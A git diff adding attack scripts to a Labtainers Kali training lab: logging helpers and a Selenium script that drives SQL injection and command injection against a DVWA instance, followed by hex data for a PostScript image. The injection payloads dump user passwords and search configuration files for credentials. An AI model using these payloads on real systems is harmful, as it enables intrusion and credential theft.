--kill-after='+endtimer+'s '+endtimer+'s '+command); + funcprinttime(" - scan complete", starttime) + + timeleft=endtime-time.time() + if timeleft>10: + time.sleep(10) + + funcprinttime(" End", starttime) + +nmap_proxychains.desc = "nmap proxychains" + +# END OF FILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/setup.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/setup.py new file mode 100755 index 000000000..3d28797f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/setup.py @@ -0,0 +1,64 @@ +import os +import sys +import netifaces as ni +import time +from random import randint +import subprocess +import datetime +from datetime import timedelta + +# SETUP GLOBALS +hosts = [] +global startmain +startmain = time.time() +global counter +counter = 60 # 1=seconds, 60=1 minute + +global kali_id +global kali1 + +kali_id = 0 # which attacking machine am i? +kali1 = 1 + + + +def printbanner(): + os.system("echo '\ +-----------------------------------------\n\ +| CHLICSA Cyber Defense Attack Scenario |\n\ +-----------------------------------------\n' >> timer.txt") + + +# Print status and timestamp to log file +def printtime(desc): # print comment + timestamp + #import main as m + elapsed = str(timedelta(seconds=(time.time()-startmain))).split('.',2)[0] + clocktime = str(time.strftime("%H:%M:%S")) + os.system('echo "['+clocktime+'] ['+elapsed+'] '+desc+'" >> timer.txt') + + +# Print status from within function (omits clock time for cleaner log file) +def funcprinttime(desc, funcstarttime): + elapsed = str(timedelta(seconds=(time.time()-funcstarttime))).split('.',2)[0] + os.system('echo " ['+elapsed+'] '+desc+'" >> timer.txt') + + +# Wait while attacks are being handled by other machines +def printexpect(expect, timerange, zzz): + printtime("Expecting Attack #"+expect+" from "+timerange+" minutes.") + #import main as m + time.sleep(zzz*counter) + + +# Print unformatted text to log +def log(desc): + os.system('echo "'+desc+'" >> timer.txt') + + +# Returns the current IP address **Still need +def getip(): + ni.ifaddresses('eth0') #interface is eth0 + myip= ni.ifaddresses('eth0')[2][0]['addr'] #get ip + return myip + +# END OF FILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/sql.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/sql.py new file mode 100755 index 000000000..27c1b3cbe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/sql.py @@ -0,0 +1,196 @@ +# sql.py +# + +# IMPORTS +import os +from selenium import webdriver +from selenium.webdriver.common.keys import Keys # Keys class provides keys in the keyboard like RETURN, F1, ALT etc. +import time +import datetime +from datetime import timedelta + +# IMPORTS & ALIASES +import setup as s +printtime = s.printtime + +# wrap function print to include local start time +def funcprinttime(desc): + s.funcprinttime(desc, starttime) + + +# FILE GLOBALS +kali_IP = s.getip() +dvwa_IP = "192.168.1.20" +dvwa_addr = "http://"+dvwa_IP+"/" + + +# DEFINE BROWSER DRIVER +driver = webdriver.Firefox() # supported: Firefox, Chrome, Ie and Remote + + + +##### SQL Injection ##### +# original attack length: 8 minutes = 16 delays at ~30 seconds each +def sql_injection(n): + + # GLOBALS + global starttime + global endtime + global delay + + global kali_IP + global dvwa_IP + global dvwa_addr + + starttime=time.time() + endtime = time.time()+n + + delay = ((n/4)-5); # space events in attack to fill total time + funcprinttime(" Start with attack time: "+str(n)+" and delays of: "+str(delay)) + + # ATTACK # Example: delay = 1 minute + dvwa_login(delay/2) # 30 + dvwa_security_low(delay/2) # 30 + injection(delay*2) # 2 min + cmd_execution(delay) # 1 minute + + # ATTACK CLEANUP + # No files were generated on either machine, so cleanup is minimal + driver.quit() # closes browser. + + # FINISH + timeleft = endtime-time.time() + if timeleft>0: + funcprinttime(" -- sleep for time remaining: "+str(round(timeleft,2))) + time.sleep(timeleft) + + funcprinttime(" End") + +sql_injection.desc = "SQL injection attack" + + +######################## +# HELPER FUNCTIONS # +######################## + + +# DVWA LOGIN +# default credentials +def dvwa_login(n): + + #timing + num_actions = 3 + wait = n/num_actions + funcprinttime(" -- login ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + driver.get(dvwa_addr+"login.php") + assert "login.php not found." not in driver.page_source + + elem_user = driver.find_element_by_name("username") + elem_user.send_keys("admin") + time.sleep(wait) + elem_pass = driver.find_element_by_name("password") + elem_pass.send_keys("password") + time.sleep(wait) + elem_login = driver.find_element_by_name("Login") + elem_login.send_keys(Keys.RETURN) + time.sleep(wait) + funcprinttime(" -- logged in") + + + +# SET DVWA SECURITY LOW +def dvwa_security_low(n): + + #timing + num_actions = 2 + wait = n/num_actions + funcprinttime(" -- dvwa security ("+str(n)+"), actions: "+str(num_actions)+", wait: "+str(round(wait,2))) + + driver.get(dvwa_addr+"security.php") + + from selenium.webdriver.support.ui import Select + elem_security = Select(driver.find_element_by_name('security')) + elem_security.select_by_visible_text("low") + time.sleep(wait) + + elem_submit = driver.find_element_by_name("seclev_submit") + elem_submit.send_keys(Keys.RETURN) + time.sleep(wait) + + funcprinttime(" -- security is set to low") + + + +# INJECT SQL COMMANDS +# +def injection(n): + + # Commands + commands = [] + commands.append('%\' or \'0\'=\'0') # List all database entries + commands.append('\' UNION ALL SELECT @@datadir, 1 -- ') # Display database type + commands.append('%\' or 0=0 union select null, database() #') # Display database name + commands.append('\' UNION ALL SELECT @@version, @@port -- ') # Display database version and port + # Display table names in database + commands.append('%\' and 1=0 union select null, table_name from information_schema.tables #') + # Display user table column names + commands.append('%\' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = \'users\' #') + # Display users and passwords + commands.append('%\' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #') + + #timing + num_actions = len(commands) + wait = (n/num_actions)/2 # each command has 2 'wait's + + driver.get(dvwa_addr+"vulnerabilities/sqli/") + assert "sqli page not found." not in driver.page_source + + # Execute each command in order + for cmd in commands: + + elem_txtName = driver.find_element_by_name("id") + elem_txtName.send_keys(cmd) + time.sleep(wait) + + elem_submit = driver.find_element_by_name("Submit") + elem_submit.send_keys(Keys.RETURN) + time.sleep(wait) + + funcprinttime(" -- sql injection complete") + + + +# COMMAND EXECUTION +# used to display any stored database credentials +def cmd_execution(n): + + # Commands + commands = [] + # Display any stored database credentials + commands.append('127.0.0.1; find /* -name \"*config*\" -print | xargs egrep -i \'(database|user|password)\'') + + #timing + num_actions = len(commands) + wait = (n/num_actions)/2 # each command has 2 'wait's + + # Command execution + driver.get(dvwa_addr+"vulnerabilities/exec/") + assert "exec page not found." not in driver.page_source + + # Execute each command in order + for cmd in commands: + + elem_txtName = driver.find_element_by_name("ip") + elem_txtName.send_keys(cmd) + time.sleep(wait) + + elem_submit = driver.find_element_by_name("submit") + elem_submit.send_keys(Keys.RETURN) + time.sleep(wait) + + funcprinttime(" -- sql command execution complete") + + +# END OF FILE + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/sys b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/sys new file mode 100644 index 000000000..732a4291a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/sys @@ -0,0 +1,26209 @@ +%!PS-Adobe-3.0 +%%Creator: (ImageMagick) +%%Title: (sys) +%%CreationDate: (2017-08-24T17:05:27-04:00) +%%BoundingBox: -0 -0 736 458 +%%HiResBoundingBox: 0 0 736 458 +%%DocumentData: Clean7Bit +%%LanguageLevel: 1 +%%Orientation: Portrait +%%PageOrder: Ascend +%%Pages: 1 +%%EndComments + +%%BeginDefaults +%%EndDefaults + +%%BeginProlog +% +% Display a color image. The image is displayed in color on +% Postscript viewers or printers that support color, otherwise +% it is displayed as grayscale. +% +/DirectClassPacket +{ + % + % Get a DirectClass packet. + % + % Parameters: + % red. + % green. + % blue. + % length: number of pixels minus one of this color (optional). + % + currentfile color_packet readhexstring pop pop + compression 0 eq + { + /number_pixels 3 def + } + { + currentfile byte readhexstring pop 0 get + /number_pixels exch 1 add 3 mul def + } ifelse + 0 3 number_pixels 1 sub + { + pixels exch color_packet putinterval + } for + pixels 0 number_pixels getinterval +} bind def + +/DirectClassImage +{ + % + % Display a DirectClass image. + % + systemdict /colorimage known + { + columns rows 8 + [ + columns 0 0 + rows neg 0 rows + ] + { DirectClassPacket } false 3 colorimage + } + { + % + % No colorimage operator; convert to grayscale. + % + columns rows 8 + [ + columns 0 0 + rows neg 0 rows + ] + { GrayDirectClassPacket } image + } ifelse +} bind def + +/GrayDirectClassPacket +{ + % + % Get a DirectClass packet; convert to grayscale. + % + % Parameters: + % red + % green + % blue + % length: number of pixels minus one of this color (optional). + % + currentfile color_packet readhexstring pop pop + color_packet 0 get 0.299 mul + color_packet 1 get 0.587 mul add + color_packet 2 get 0.114 mul add + cvi + /gray_packet exch def + compression 0 eq + { + /number_pixels 1 def + } + { + currentfile byte readhexstring pop 0 get + /number_pixels exch 1 add def + } ifelse + 0 1 number_pixels 1 sub + { + pixels exch gray_packet put + } for + pixels 0 number_pixels getinterval +} bind def + +/GrayPseudoClassPacket +{ + % + % Get a PseudoClass packet; convert to grayscale. + % + % Parameters: + % index: index into the colormap. + % length: number of pixels minus one of this color (optional). + % + currentfile byte readhexstring pop 0 get + /offset exch 3 mul def + /color_packet colormap offset 3 getinterval def + color_packet 0 get 0.299 mul + color_packet 1 get 0.587 mul add + color_packet 2 get 0.114 mul add + cvi + /gray_packet exch def + compression 0 eq + { + /number_pixels 1 def + } + { + currentfile byte readhexstring pop 0 get + /number_pixels exch 1 add def + } ifelse + 0 1 number_pixels 1 sub + { + pixels exch gray_packet put + } for + pixels 0 number_pixels getinterval +} bind def + +/PseudoClassPacket +{ + % + % Get a PseudoClass packet. + % + % Parameters: + % index: index into the colormap. + % length: number of pixels minus one of this color (optional). + % + currentfile byte readhexstring pop 0 get + /offset exch 3 mul def + /color_packet colormap offset 3 getinterval def + compression 0 eq + { + /number_pixels 3 def + } + { + currentfile byte readhexstring pop 0 get + /number_pixels exch 1 add 3 mul def + } ifelse + 0 3 number_pixels 1 sub + { + pixels exch color_packet putinterval + } for + pixels 0 number_pixels getinterval +} bind def + +/PseudoClassImage +{ + % + % Display a PseudoClass image. + % + % Parameters: + % class: 0-PseudoClass or 1-Grayscale. + % + currentfile buffer readline pop + token pop /class exch def pop + class 0 gt + { + currentfile buffer readline pop + token pop /depth exch def pop + /grays columns 8 add depth sub depth mul 8 idiv string def + columns rows depth + [ + columns 0 0 + rows neg 0 rows + ] + { currentfile grays readhexstring pop } image + } + { + % + % Parameters: + % colors: number of colors in the colormap. + % colormap: red, green, blue color packets. + % + currentfile buffer readline pop + token pop /colors exch def pop + /colors colors 3 mul def + /colormap colors string def + currentfile colormap readhexstring pop pop + systemdict /colorimage known + { + columns rows 8 + [ + columns 0 0 + rows neg 0 rows + ] + { PseudoClassPacket } false 3 colorimage + } + { + % + % No colorimage operator; convert to grayscale. + % + columns rows 8 + [ + columns 0 0 + rows neg 0 rows + ] + { GrayPseudoClassPacket } image + } ifelse + } ifelse +} bind def + +/DisplayImage +{ + % + % Display a DirectClass or PseudoClass image. + % + % Parameters: + % x & y translation. + % x & y scale. + % label pointsize. + % image label. + % image columns & rows. + % class: 0-DirectClass or 1-PseudoClass. + % compression: 0-none or 1-RunlengthEncoded. + % hex color packets. + % + gsave + /buffer 512 string def + /byte 1 string def + /color_packet 3 string def + /pixels 768 string def + + currentfile buffer readline pop + token pop /x exch def + token pop /y exch def pop + x y translate + currentfile buffer readline pop + token pop /x exch def + token pop /y exch def pop + currentfile buffer readline pop + token pop /pointsize exch def pop + x y scale + currentfile buffer readline pop + token pop /columns exch def + token pop /rows exch def pop + currentfile buffer readline pop + token pop /class exch def pop + currentfile buffer readline pop + token pop /compression exch def pop + class 0 gt { PseudoClassImage } { DirectClassImage } ifelse + grestore + showpage +} bind def +%%EndProlog +%%Page: 1 1 +%%PageBoundingBox: 0 0 736 458 +DisplayImage +0 0 +736 458 +12 +736 458 +0 +0 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 